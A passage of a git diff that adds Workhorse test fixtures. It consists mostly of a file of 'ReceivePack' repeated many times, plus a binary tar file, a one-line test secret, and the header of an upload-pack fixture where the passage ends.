+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
+ReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePackReceivePack
diff --git a/workhorse/testdata/tarfile.tar b/workhorse/testdata/tarfile.tar
new file mode 100644
index 00000000000..cac2aced77f
--- /dev/null
+++ b/workhorse/testdata/tarfile.tar
Binary files differ
diff --git a/workhorse/testdata/test-secret b/workhorse/testdata/test-secret
new file mode 100644
index 00000000000..6c8cf2aaab0
--- /dev/null
+++ b/workhorse/testdata/test-secret
@@ -0,0 +1 @@
++M8OJgJxoxdDRgOR0UT8sDbAgp/63y/XUNE3d8+tawA=
diff --git a/workhorse/testdata/upload-pack-fixture.txt b/workhorse/testdata/upload-pack-fixture.txt
new file mode 100644
index 00000000000..dfe796ad7f3
--- /dev/null
+++ b/workhorse/testdata/upload-pack-fixture.txt
@@ -0,0 +1,1025 @@
